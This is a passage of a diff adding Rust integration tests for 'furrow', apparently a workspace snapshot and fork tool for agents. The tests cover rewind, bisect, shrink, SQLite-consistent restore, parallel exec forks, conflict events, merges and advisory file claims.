assert_eq!(preview["candidates"][0]["path"], "node_modules"); + assert!(preview["total_logical_bytes"].as_u64().unwrap() >= 512 * 1024); + assert!(dependency.exists()); + assert!(!fixture.repo.join(".furrow").exists()); + + let applied = fixture + .furrow() + .args(["--json", "shrink", "--yes"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let applied: Value = serde_json::from_slice(&applied).unwrap(); + let before = applied["before_snapshot"].as_str().unwrap(); + assert_eq!(before.len(), 64); + assert_eq!(applied["changed"], true); + assert!( + applied["estimated_workspace_bytes_removed"] + .as_u64() + .unwrap() + > 0 + ); + assert!(applied["protected_store_bytes_added"].as_u64().is_some()); + assert!(applied["estimated_net_bytes_reclaimed"].as_u64().is_some()); + assert!(!fixture.repo.join("node_modules").exists()); + assert!(fixture.repo.join("cache/dependency.bin").exists()); + + fixture + .furrow() + .args(["rewind", before, "--yes"]) + .assert() + .success(); + assert_eq!(fs::read(dependency).unwrap(), vec![0x5a; 512 * 1024]); + + fixture + .furrow() + .args(["shrink", "--path", ".git", "--yes"]) + .assert() + .failure() + .stderr(predicates::str::contains("refusing to shrink")); +} + +#[test] +fn bisect_finds_the_first_bad_snapshot_without_leaking_probe_side_effects() { + let fixture = Fixture::new(); + fixture.watch(); + fs::write(fixture.repo.join("notes.txt"), b"still good\n").unwrap(); + fixture + .furrow() + .args(["snap", "-m", "still good"]) + .assert() + .success(); + + fs::write(fixture.repo.join("app.txt"), b"regression\n").unwrap(); + let first_bad = fixture + .furrow() + .args(["--json", "snap", "-m", "introduced regression"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let first_bad: Value = serde_json::from_slice(&first_bad).unwrap(); + let first_bad = first_bad["snapshot"].as_str().unwrap(); + fs::write(fixture.repo.join("later.txt"), b"unrelated later work\n").unwrap(); + fixture + .furrow() + .args(["snap", "-m", "later bad state"]) + .assert() + .success(); + + let outcome = fixture + .furrow() + .args([ + "--json", + "bisect", + "--", + "/bin/sh", + "-c", + "grep -q 'tracked original' app.txt; code=$?; printf 'probe mutation\\n' > app.txt; exit $code", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let outcome: Value = serde_json::from_slice(&outcome).unwrap(); + assert_eq!(outcome["first_bad_snapshot"], first_bad); + assert!(outcome["checks"].as_array().unwrap().len() <= 5); + assert!(outcome["checks"] + .as_array() + .unwrap() + .iter() + .any(|check| check["passed"] == true)); + assert!(outcome["checks"] + .as_array() + .unwrap() + .iter() + .any(|check| check["passed"] == false)); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"regression\n" + ); + assert!(!fs::read_dir(fixture._temp.path()) + .unwrap() + .filter_map(Result::ok) + .any(|entry| entry + .file_name() + .to_string_lossy() + .starts_with(".furrow-bisect-"))); +} + +#[test] +fn full_rewind_restores_git_ignored_untracked_metadata_and_is_reversible() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + + fs::remove_file(fixture.repo.join("app-link")).unwrap(); + fs::remove_file(fixture.repo.join("app.txt")).unwrap(); + fs::remove_file(fixture.repo.join(".env")).unwrap(); + fs::remove_dir_all(fixture.repo.join("cache")).unwrap(); + fs::write(fixture.repo.join("notes.txt"), b"destroyed notes\n").unwrap(); + + let output = fixture + .furrow() + .args(["rewind", &snapshot, "--yes"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let output = String::from_utf8(output).unwrap(); + let undo = output + .lines() + .find_map(|line| line.strip_prefix("Undo snapshot: ")) + .unwrap() + .to_owned(); + + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"tracked original\n" + ); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert_eq!( + fs::read(fixture.repo.join("notes.txt")).unwrap(), + b"untracked notes\n" + ); + assert_eq!( + fs::read_link(fixture.repo.join("app-link")).unwrap(), + Path::new("app.txt") + ); + assert_eq!( + fs::metadata(fixture.repo.join("app.txt")) + .unwrap() + .permissions() + .mode() + & 0o777, + 0o755 + ); + assert_eq!( + xattr::get(fixture.repo.join("app.txt"), "user.furrow-test") + .unwrap() + .unwrap(), + b"preserved" + ); + assert_eq!( + fs::metadata(fixture.repo.join("cache/dependency.bin")) + .unwrap() + .len(), + 180_000 + ); + + fixture + .furrow() + .args(["rewind", &undo, "--yes"]) + .assert() + .success(); + assert!(!fixture.repo.join("app.txt").exists()); + assert!(!fixture.repo.join(".env").exists()); + assert_eq!( + fs::read(fixture.repo.join("notes.txt")).unwrap(), + b"destroyed notes\n" + ); +} + +#[test] +fn catalog_is_rebuilt_from_pack_and_authoritative_refs() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + let store = fixture.data.join("store-v1"); + for suffix in [ + "catalog.sqlite3", + "catalog.sqlite3-wal", + "catalog.sqlite3-shm", + ] { + let path = store.join(suffix); + if path.exists() { + fs::remove_file(path).unwrap(); + } + } + + let output = fixture + .furrow() + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(timeline[0]["id"], snapshot); +} + +#[test] +fn incomplete_pack_tail_is_truncated_without_losing_visible_snapshots() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + let pack = fixture.data.join("store-v1/packs/pack-000001.agp"); + let valid_len = fs::metadata(&pack).unwrap().len(); + use std::io::Write; + let mut file = fs::OpenOptions::new().append(true).open(&pack).unwrap(); + file.write_all(b"AGOB\x01").unwrap(); + file.sync_all().unwrap(); + + fixture.furrow().arg("status").assert().success(); + assert_eq!(fs::metadata(&pack).unwrap().len(), valid_len); + let output = fixture + .furrow() + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(timeline[0]["id"], snapshot); +} + +#[test] +fn sqlite_consistent_rewind_restores_a_logical_database_snapshot() { + let fixture = Fixture::new(); + let database = fixture.repo.join("dev.sqlite"); + { + let connection = rusqlite::Connection::open(&database).unwrap(); + connection + .execute_batch( + "PRAGMA journal_mode=WAL; + CREATE TABLE items(id INTEGER PRIMARY KEY, value TEXT NOT NULL); + INSERT INTO items(value) VALUES('safe');", + ) + .unwrap(); + } + let snapshot = fixture.watch(); + { + let connection = rusqlite::Connection::open(&database).unwrap(); + connection + .execute_batch("DROP TABLE items; CREATE TABLE damage(value TEXT);") + .unwrap(); + } + + fixture + .furrow() + .args([ + "rewind", + &snapshot, + "--paths", + "dev.sqlite", + "--sqlite-consistent", + "--yes", + ]) + .assert() + .success(); + + let connection = rusqlite::Connection::open(&database).unwrap(); + let value: String = connection + .query_row("SELECT value FROM items WHERE id = 1", [], |row| row.get(0)) + .unwrap(); + assert_eq!(value, "safe"); + let integrity: String = connection + .query_row("PRAGMA integrity_check", [], |row| row.get(0)) + .unwrap(); + assert_eq!(integrity, "ok"); +} + +#[test] +fn path_rewind_refuses_to_follow_a_symlink_parent_outside_workspace() { + let fixture = Fixture::new(); + fs::create_dir(fixture.repo.join("nested")).unwrap(); + fs::write(fixture.repo.join("nested/value.txt"), b"inside\n").unwrap(); + let snapshot = fixture.watch(); + let outside = fixture._temp.path().join("outside"); + fs::create_dir(&outside).unwrap(); + fs::write(outside.join("value.txt"), b"outside\n").unwrap(); + fs::remove_dir_all(fixture.repo.join("nested")).unwrap(); + symlink(&outside, fixture.repo.join("nested")).unwrap(); + + fixture + .furrow() + .args(["rewind", &snapshot, "--paths", "nested/value.txt", "--yes"]) + .assert() + .failure() + .stderr(predicates::str::contains("symlink parent")); + assert_eq!(fs::read(outside.join("value.txt")).unwrap(), b"outside\n"); +} + +#[test] +fn unchanged_snapshots_reuse_cached_blobs_and_add_only_small_metadata() { + let fixture = Fixture::new(); + fixture.watch(); + let pack = fixture.data.join("store-v1/packs/pack-000001.agp"); + let initial = fs::metadata(&pack).unwrap().len(); + + fixture + .furrow() + .args(["snap", "-m", "unchanged"]) + .assert() + .success(); + let unchanged_growth = fs::metadata(&pack).unwrap().len() - initial; + assert!( + unchanged_growth < 16 * 1024, + "unchanged snapshot added {unchanged_growth} bytes" + ); + + fs::write(fixture.repo.join("notes.txt"), b"one small delta\n").unwrap(); + let before_delta = fs::metadata(&pack).unwrap().len(); + fixture + .furrow() + .args(["snap", "-m", "small delta"]) + .assert() + .success(); + let delta_growth = fs::metadata(&pack).unwrap().len() - before_delta; + assert!( + delta_growth < 32 * 1024, + "small delta added {delta_growth} bytes" + ); +} + +#[test] +fn warm_fork_is_independent_complete_listed_and_can_run_a_command() { + let fixture = Fixture::new(); + fixture.watch(); + let destination = fixture._temp.path().join("agent-one"); + + let output = fixture + .furrow() + .args(["--json", "fork", "agent-one", "--destination"]) + .arg(&destination) + .assert() + .success() + .get_output() + .stdout + .clone(); + let summary: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(summary["plan"]["name"], "agent-one"); + assert!(summary["plan"]["projected_native_cow_ms"].as_u64().unwrap() > 0); + assert_eq!( + summary["plan"]["worst_case_copied_bytes"], + summary["plan"]["logical_bytes"] + ); + assert_eq!(summary["result"]["name"], "agent-one"); + assert_eq!(summary["plan"]["files"], summary["result"]["files"]); + assert_eq!( + summary["plan"]["logical_bytes"], + summary["result"]["logical_bytes"] + ); + assert!( + summary["result"]["cloned_bytes"].as_u64().unwrap() + + summary["result"]["copied_bytes"].as_u64().unwrap() + > 0 + ); + assert_eq!( + fs::read(destination.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert_eq!( + fs::read(destination.join("cache/dependency.bin")) + .unwrap() + .len(), + 180_000 + ); + assert_ne!( + fs::read_to_string(destination.join(".furrow/workspace-id")).unwrap(), + fs::read_to_string(fixture.repo.join(".furrow/workspace-id")).unwrap() + ); + + fs::write(destination.join("app.txt"), b"fork-only change\n").unwrap(); + fs::write(destination.join("fork-result.txt"), b"new result\n").unwrap(); + fs::remove_file(destination.join("notes.txt")).unwrap(); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"tracked original\n" + ); + + let diff_output = fixture + .furrow() + .args(["--json", "diff", "agent-one"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let diff: Value = serde_json::from_slice(&diff_output).unwrap(); + let changes = diff["changes"].as_array().unwrap(); + assert!(changes + .iter() + .any(|change| change["path"] == "app.txt" && change["action"] == "modify")); + assert!(changes + .iter() + .any(|change| change["path"] == "fork-result.txt" && change["action"] == "add")); + assert!(changes + .iter() + .any(|change| change["path"] == "notes.txt" && change["action"] == "delete")); + + let listed = fixture + .furrow() + .args(["--json", "forks"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let listed: Value = serde_json::from_slice(&listed).unwrap(); + assert_eq!(listed.as_array().unwrap().len(), 1); + assert_eq!( + listed[0]["destination"], + destination.to_string_lossy().as_ref() + ); + + let command_destination = fixture._temp.path().join("agent-command"); + fixture + .furrow() + .args(["run", "agent-command", "--destination"]) + .arg(&command_destination) + .args(["--", "sh", "-c", "printf isolated > command-result.txt"]) + .assert() + .success(); + assert_eq!( + fs::read(command_destination.join("command-result.txt")).unwrap(), + b"isolated" + ); + assert!(!fixture.repo.join("command-result.txt").exists()); + + fixture + .furrow() + .args(["fork-rm", "agent-one"]) + .assert() + .success(); + assert!(!destination.exists()); + let remaining = fixture + .furrow() + .args(["--json", "forks"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let remaining: Value = serde_json::from_slice(&remaining).unwrap(); + assert_eq!(remaining.as_array().unwrap().len(), 1); + assert_eq!(remaining[0]["name"], "agent-command"); +} + +#[test] +fn exec_plan_discloses_the_fallback_driver_paths_and_ports() { + let fixture = Fixture::new(); + fixture.watch(); + let output = fixture + .furrow() + .env("FURROW_DISABLE_NAMESPACES", "1") + .args(["--json", "exec", "-n", "3", "--plan"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let plan: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(plan["driver"]["driver"], "sibling-directory"); + assert_eq!(plan["driver"]["same_canonical_path"], false); + assert_eq!(plan["universes"].as_array().unwrap().len(), 3); + assert_eq!(plan["universes"][0]["port"], 3000); + assert_eq!(plan["universes"][2]["port"], 3002); + assert_ne!( + plan["universes"][0]["process_workdir"], + fixture.repo.to_string_lossy().as_ref() + ); + assert_eq!( + plan["universes"][0]["base_snapshot"], + plan["universes"][2]["base_snapshot"] + ); +} + +#[test] +fn exec_runs_multiple_complete_universes_concurrently_and_seals_each_result() { + let fixture = Fixture::new(); + fixture.watch(); + let output = fixture + .furrow() + .env("FURROW_DISABLE_NAMESPACES", "1") + .args([ + "--json", + "exec", + "-n", + "2", + "--", + "sh", + "-c", + "printf '%s|%s|%s' \"$FURROW_UNIVERSE_INDEX\" \"$FURROW_WORKDIR\" \"$PORT\" > universe.txt", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let result: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(result["driver"]["driver"], "sibling-directory"); + assert_eq!(result["universes"].as_array().unwrap().len(), 2); + assert!(result["materialized_ms"].as_u64().is_some()); + + for (offset, universe) in result["universes"].as_array().unwrap().iter().enumerate() { + assert_eq!(universe["exit_code"], 0); + assert_eq!(universe["fork_id"].as_str().unwrap().len(), 32); + assert_ne!(universe["head_snapshot"], universe["base_snapshot"]); + let path = PathBuf::from(universe["path"].as_str().unwrap()); + let contents = fs::read_to_string(path.join("universe.txt")).unwrap(); + let expected_prefix = format!("{}|{}|{}", offset + 1, path.display(), 3000 + offset); + assert_eq!(contents, expected_prefix); + } + assert!(!fixture.repo.join("universe.txt").exists()); + + let forks = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let forks: Value = serde_json::from_slice(&forks.stdout).unwrap(); + assert_eq!(forks.as_array().unwrap().len(), 2); +} + +#[test] +fn exec_uses_the_disclosed_workdir_and_preserves_failed_results() { + let fixture = Fixture::new(); + fixture.watch(); + let plan_output = fixture + .furrow() + .args(["--json", "exec", "--fork", "failed-universe", "--plan"]) + .output() + .unwrap(); + assert!(plan_output.status.success()); + let plan: Value = serde_json::from_slice(&plan_output.stdout).unwrap(); + let expected_workdir = plan["universes"][0]["process_workdir"] + .as_str() + .unwrap() + .to_owned(); + + let output = fixture + .furrow() + .args([ + "--json", + "exec", + "--fork", + "failed-universe", + "--", + "sh", + "-c", + "pwd > observed-workdir.txt; printf retained > failed-result.txt; exit 7", + ]) + .output() + .unwrap(); + assert_eq!(output.status.code(), Some(7)); + let result: Value = serde_json::from_slice(&output.stdout).unwrap(); + assert_eq!(result["universes"][0]["exit_code"], 7); + assert_eq!(result["universes"][0]["process_workdir"], expected_workdir); + let fork = PathBuf::from(result["universes"][0]["path"].as_str().unwrap()); + assert_eq!( + fs::read_to_string(fork.join("observed-workdir.txt")) + .unwrap() + .trim(), + expected_workdir + ); + assert_eq!( + fs::read(fork.join("failed-result.txt")).unwrap(), + b"retained" + ); + assert_ne!( + result["universes"][0]["head_snapshot"], + result["universes"][0]["base_snapshot"] + ); + assert!(!fixture.repo.join("failed-result.txt").exists()); +} + +#[test] +fn conflict_radar_opens_once_resolves_and_replays_from_a_durable_cursor() { + let fixture = Fixture::new(); + fixture.watch(); + let alpha = fixture._temp.path().join("radar-alpha"); + let beta = fixture._temp.path().join("radar-beta"); + fixture + .furrow() + .args(["fork", "radar-alpha", "--destination"]) + .arg(&alpha) + .assert() + .success(); + fixture + .furrow() + .args(["fork", "radar-beta", "--destination"]) + .arg(&beta) + .assert() + .success(); + + fs::write(alpha.join("app.txt"), b"alpha implementation\n").unwrap(); + fs::write(beta.join("notes.txt"), b"beta notes\n").unwrap(); + furrow_at(&alpha, &fixture.data) + .arg("snap") + .assert() + .success(); + furrow_at(&beta, &fixture.data) + .arg("snap") + .assert() + .success(); + let disjoint = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + assert!( + disjoint.status.success(), + "{}", + String::from_utf8_lossy(&disjoint.stderr) + ); + let disjoint: Value = serde_json::from_slice(&disjoint.stdout).unwrap(); + assert!(disjoint + .as_array() + .unwrap() + .iter() + .all(|fork| fork["conflicts"] == 0)); + + fs::write(beta.join("app.txt"), b"beta implementation\n").unwrap(); + furrow_at(&beta, &fixture.data) + .arg("snap") + .assert() + .success(); + let conflicted = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let conflicted: Value = serde_json::from_slice(&conflicted.stdout).unwrap(); + for fork in conflicted.as_array().unwrap() { + assert_eq!(fork["fork_id"].as_str().unwrap().len(), 32); + assert_eq!(fork["conflicts"], 1); + assert_eq!(fork["conflict_paths"][0], "app.txt"); + } + + let events = fixture.furrow().arg("events").output().unwrap(); + assert!(events.status.success()); + let events = ndjson(&events.stdout); + let opened: Vec<_> = events + .iter() + .filter(|event| event["state"] == "opened") + .collect(); + assert_eq!(opened.len(), 1); + assert_eq!(opened[0]["path"]["display"], "app.txt"); + assert_eq!(opened[0]["forks"].as_array().unwrap().len(), 2); + let cursor = opened[0]["cursor"].as_str().unwrap().to_owned(); + + // Repeated reconciliation must not duplicate a stable transition. + fixture.furrow().arg("forks").assert().success(); + let repeated = fixture + .furrow() + .args(["events", "--after", &cursor]) + .output() + .unwrap(); + assert!(repeated.status.success()); + assert!(repeated.stdout.is_empty()); + + furrow_at(&alpha, &fixture.data) + .args(["claim", "app.txt", "--owner", "alpha-agent"]) + .assert() + .success(); + fixture.furrow().arg("forks").assert().success(); + let claimed = fixture + .furrow() + .args(["events", "--after", &cursor]) + .output() + .unwrap(); + let claimed = ndjson(&claimed.stdout); + assert_eq!(claimed.len(), 1); + assert_eq!(claimed[0]["state"], "updated"); + assert_eq!(claimed[0]["claim_state"], "covered"); + let cursor = claimed[0]["cursor"].as_str().unwrap().to_owned(); + + let offline = fixture._temp.path().join("radar-beta-offline"); + fs::rename(&beta, &offline).unwrap(); + let stale = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let stale: Value = serde_json::from_slice(&stale.stdout).unwrap(); + let beta_status = stale + .as_array() + .unwrap() + .iter() + .find(|fork| fork["name"] == "radar-beta") + .unwrap(); + assert_eq!(beta_status["conflicts"], 1); + assert_eq!(beta_status["radar_stale"], true); + fs::rename(&offline, &beta).unwrap(); + + fs::write(beta.join("app.txt"), b"tracked original\n").unwrap(); + furrow_at(&beta, &fixture.data) + .arg("snap") + .assert() + .success(); + let resolved = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let resolved: Value = serde_json::from_slice(&resolved.stdout).unwrap(); + assert!(resolved + .as_array() + .unwrap() + .iter() + .all(|fork| fork["conflicts"] == 0)); + let events = fixture + .furrow() + .args(["events", "--after", &cursor]) + .output() + .unwrap(); + let events = ndjson(&events.stdout); + assert_eq!(events.len(), 1); + assert_eq!(events[0]["state"], "resolved"); + assert_eq!(events[0]["conflict_id"], opened[0]["conflict_id"]); +} + +#[test] +fn conflict_radar_distinguishes_sibling_edits_from_subtree_deletion() { + let fixture = Fixture::new(); + fs::create_dir(fixture.repo.join("src")).unwrap(); + fs::write(fixture.repo.join("src/alpha.rs"), b"alpha base\n").unwrap(); + fs::write(fixture.repo.join("src/beta.rs"), b"beta base\n").unwrap(); + fixture.watch(); + let alpha = fixture._temp.path().join("tree-alpha"); + let beta = fixture._temp.path().join("tree-beta"); + fixture + .furrow() + .args(["fork", "tree-alpha", "--destination"]) + .arg(&alpha) + .assert() + .success(); + fixture + .furrow() + .args(["fork", "tree-beta", "--destination"]) + .arg(&beta) + .assert() + .success(); + + fs::write(alpha.join("src/alpha.rs"), b"alpha changed\n").unwrap(); + fs::write(beta.join("src/beta.rs"), b"beta changed\n").unwrap(); + furrow_at(&alpha, &fixture.data) + .arg("snap") + .assert() + .success(); + furrow_at(&beta, &fixture.data) + .arg("snap") + .assert() + .success(); + let disjoint = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + assert!( + disjoint.status.success(), + "{}", + String::from_utf8_lossy(&disjoint.stderr) + ); + let disjoint: Value = serde_json::from_slice(&disjoint.stdout).unwrap(); + assert!(disjoint + .as_array() + .unwrap() + .iter() + .all(|fork| fork["conflicts"] == 0)); + + fs::remove_dir_all(alpha.join("src")).unwrap(); + furrow_at(&alpha, &fixture.data) + .arg("snap") + .assert() + .success(); + let conflicted = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let conflicted: Value = serde_json::from_slice(&conflicted.stdout).unwrap(); + for fork in conflicted.as_array().unwrap() { + assert_eq!(fork["conflicts"], 1); + assert_eq!(fork["conflict_paths"][0], "src"); + } +} + +#[test] +fn conflict_radar_groups_many_forks_into_one_path_event() { + let fixture = Fixture::new(); + fixture.watch(); + for name in ["group-alpha", "group-beta", "group-gamma"] { + let path = fixture._temp.path().join(name); + fixture + .furrow() + .args(["fork", name, "--destination"]) + .arg(&path) + .assert() + .success(); + fs::write(path.join("app.txt"), format!("{name}\n")).unwrap(); + furrow_at(&path, &fixture.data) + .arg("snap") + .assert() + .success(); + } + + let human = fixture.furrow().arg("forks").output().unwrap(); + assert!(human.status.success()); + assert_eq!( + String::from_utf8_lossy(&human.stdout) + .lines() + .filter(|line| line.contains("1 conflict")) + .count(), + 3 + ); + let events = fixture.furrow().arg("events").output().unwrap(); + let opened: Vec<_> = ndjson(&events.stdout) + .into_iter() + .filter(|event| event["state"] == "opened") + .collect(); + assert_eq!(opened.len(), 1); + assert_eq!(opened[0]["path"]["display"], "app.txt"); + assert_eq!(opened[0]["forks"].as_array().unwrap().len(), 3); + let cursor = opened[0]["cursor"].as_str().unwrap(); + + fixture + .furrow() + .args(["fork-rm", "group-gamma"]) + .assert() + .success(); + let events = fixture + .furrow() + .args(["events", "--after", cursor]) + .output() + .unwrap(); + let events = ndjson(&events.stdout); + assert_eq!(events.len(), 1); + assert_eq!(events[0]["state"], "updated"); + assert_eq!(events[0]["forks"].as_array().unwrap().len(), 2); + let cursor = events[0]["cursor"].as_str().unwrap(); + + fixture + .furrow() + .args(["fork-rm", "group-beta"]) + .assert() + .success(); + let events = fixture + .furrow() + .args(["events", "--after", cursor]) + .output() + .unwrap(); + let events = ndjson(&events.stdout); + assert_eq!(events.len(), 1); + assert_eq!(events[0]["state"], "resolved"); + let remaining = fixture.furrow().args(["--json", "forks"]).output().unwrap(); + let remaining: Value = serde_json::from_slice(&remaining.stdout).unwrap(); + assert_eq!(remaining.as_array().unwrap().len(), 1); + assert_eq!(remaining[0]["conflicts"], 0); +} + +#[test] +fn conflict_event_follower_observes_seals_without_an_in_memory_queue() { + let fixture = Fixture::new(); + fixture.watch(); + let alpha = fixture._temp.path().join("follow-alpha"); + let beta = fixture._temp.path().join("follow-beta"); + fixture + .furrow() + .args(["fork", "follow-alpha", "--destination"]) + .arg(&alpha) + .assert() + .success(); + fixture + .furrow() + .args(["fork", "follow-beta", "--destination"]) + .arg(&beta) + .assert() + .success(); + fixture.furrow().arg("forks").assert().success(); + + let mut child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&fixture.repo) + .args(["events", "--follow", "--interval-ms", "50"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()) + .spawn() + .unwrap(); + let stdout = child.stdout.take().unwrap(); + let (sender, receiver) = std::sync::mpsc::channel(); + let reader = std::thread::spawn(move || { + let mut line = String::new(); + let result = BufReader::new(stdout).read_line(&mut line); + let _ = sender.send((result, line)); + }); + + fs::write(alpha.join("app.txt"), b"alpha live\n").unwrap(); + fs::write(beta.join("app.txt"), b"beta live\n").unwrap(); + furrow_at(&alpha, &fixture.data) + .arg("snap") + .assert() + .success(); + furrow_at(&beta, &fixture.data) + .arg("snap") + .assert() + .success(); + let (read, line) = receiver + .recv_timeout(Duration::from_secs(5)) + .expect("event follower did not receive the conflict"); + assert!(read.unwrap() > 0); + let event: Value = serde_json::from_str(line.trim()).unwrap(); + assert_eq!(event["type"], "fork_conflict"); + assert_eq!(event["state"], "opened"); + assert_eq!(event["path"]["display"], "app.txt"); + child.kill().ok(); + child.wait().ok(); + reader.join().unwrap(); +} + +#[test] +fn verified_merge_converges_independent_source_and_fork_changes() { + let fixture = Fixture::new(); + fixture.watch(); + let fork = fixture._temp.path().join("merge-agent"); + fixture + .furrow() + .args(["fork", "merge-agent", "--destination"]) + .arg(&fork) + .assert() + .success(); + + fs::write(fixture.repo.join("app.txt"), b"source-only work\n").unwrap(); + fs::write(fork.join("agent-result.txt"), b"fork-only work\n").unwrap(); + fixture + .furrow() + .args([ + "merge", + "merge-agent", + "--check", + "grep -q 'source-only work' app.txt && grep -q 'fork-only work' agent-result.txt", + ]) + .assert() + .success(); + + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"source-only work\n" + ); + assert_eq!( + fs::read(fixture.repo.join("agent-result.txt")).unwrap(), + b"fork-only work\n" + ); + let timeline = fixture + .furrow() + .args(["--json", "timeline"]) + .output() + .unwrap(); + let timeline: Value = serde_json::from_slice(&timeline.stdout).unwrap(); + assert_eq!(timeline[0]["trigger"], "merge"); +} + +#[test] +fn advisory_claims_coordinate_sibling_forks_and_are_timeline_recorded() { + let fixture = Fixture::new(); + fixture.watch(); + let alpha = fixture._temp.path().join("claim-alpha"); + let beta = fixture._temp.path().join("claim-beta"); + fixture + .furrow() + .args(["fork", "claim-alpha", "--destination"]) + .arg(&alpha) + .assert() + .success(); + fixture + .furrow() + .args(["fork", "claim-beta", "--destination"]) + .arg(&beta) + .assert() + .success(); + + let alpha_claim = furrow_at(&alpha, &fixture.data) + .args(["--json", "claim", "src/auth/**", "--owner", "alpha-agent"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let alpha_claim: Value = serde_json::from_slice(&alpha_claim).unwrap(); + furrow_at(&beta, &fixture.data) + .args(["claim", "src/auth/login.rs", "--owner", "beta-agent"]) + .assert() + .failure() + .stderr(predicates::str::contains("held by alpha-agent")); + furrow_at(&beta, &fixture.data) + .args(["claim", "src/payments/**", "--owner", "beta-agent"]) + .assert() + .success(); + + let active = fixture + .furrow() + .args(["--json", "claims"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let active: Value = serde_json::from_slice(&active).unwrap(); + assert_eq!(active.as_array().unwrap().len(), 2); + let timeline = furrow_at(&alpha, &fixture.data) + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + assert_eq!(timeline[0]["trigger"], "claim"); + + furrow_at(&alpha, &fixture.data) + .args([ + "release", + alpha_claim["claim"]["id"].as_str().unwrap(), + "--owner", + "alpha-agent", + ]) + .assert() + .success(); + furrow_at(&beta, &fixture.data) + .args(["claim", "src/auth/login.rs", "--owner", "beta-agent"]) + .assert() + .success(); +} + +#[test] +fn coord_values_propagate_eagerly_and_reconcile_offline_forks_and_tombstones() { + let fixture = Fixture::new(); + fixture.watch(); + let alpha = fixture._temp.path().join("coord-alpha"); + let beta = fixture._temp.path().join("coord-beta"); + fixture + .furrow() + .args(["fork", "coord-alpha", "--destination"]) + .arg(&alpha) + .assert() + .success(); + fixture + .furrow() + .args(["fork", "coord-beta", "--destination"]) + .arg(&beta) + .assert() + .success(); + + furrow_at(&alpha, &fixture.data) + .args([ + "coord", + "write", + "tasks/current.md", + "--value", + "alpha is working", + "--owner", + "alpha-agent", + ]) + .assert() + .success(); + for root in [&fixture.repo, &alpha, &beta] { + assert_eq!( + fs::read(root.join(".furrow/coord/tasks/current.md")).unwrap(), + b"alpha is working" + ); + } + + let offline = fixture._temp.path().join("coord-alpha-offline"); + fs::rename(&alpha, &offline).unwrap(); + furrow_at(&beta, &fixture.data) + .args([ + "coord", + "write", + "tasks/current.md", + "--value", + "beta continued", + "--owner", + "beta-agent", + ]) + .assert() + .success(); + assert_eq!( + fs::read(offline.join(".furrow/coord/tasks/current.md")).unwrap(), + b"alpha is working" + ); + fs::rename(&offline, &alpha).unwrap(); + let recovered = furrow_at(&alpha, &fixture.data) + .args(["coord", "read", "tasks/current.md"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + assert_eq!(recovered, b"beta continued"); + + fs::rename(&alpha, &offline).unwrap(); + furrow_at(&beta, &fixture.data) + .args([ + "coord", + "remove", + "tasks/current.md", + "--owner", + "beta-agent", + ]) + .assert() + .success(); + assert!(offline.join(".furrow/coord/tasks/current.md").exists()); + fs::rename(&offline, &alpha).unwrap(); + let listed = furrow_at(&alpha, &fixture.data) + .args(["--json", "coord", "list"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let listed: Value = serde_json::from_slice(&listed).unwrap(); + assert!(listed.as_array().unwrap().is_empty()); + assert!(!alpha.join(".furrow/coord/tasks/current.md").exists()); + + let timeline = furrow_at(&beta, &fixture.data) + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + assert_eq!(timeline[0]["trigger"], "coord"); +} + +#[test] +fn watch_fork_returns_seals_after_an_exact_cursor() { + let fixture = Fixture::new(); + fixture.watch(); + let worker = fixture._temp.path().join("observer-agent"); + fixture + .furrow() + .args(["fork", "observer-agent", "--destination"]) + .arg(&worker) + .assert() + .success(); + + let timeline = furrow_at(&worker, &fixture.data) + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + let cursor = timeline[0]["id"].as_str().unwrap(); + + fs::write(worker.join("agent-result.txt"), b"completed\n").unwrap(); + let sealed = furrow_at(&worker, &fixture.data) + .args(["--json", "snap", "-m", "agent completed task"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let sealed: Value = serde_json::from_slice(&sealed).unwrap(); + + let updates = fixture + .furrow() + .args([ + "--json", + "watch-fork", + "observer-agent", + "--after", + 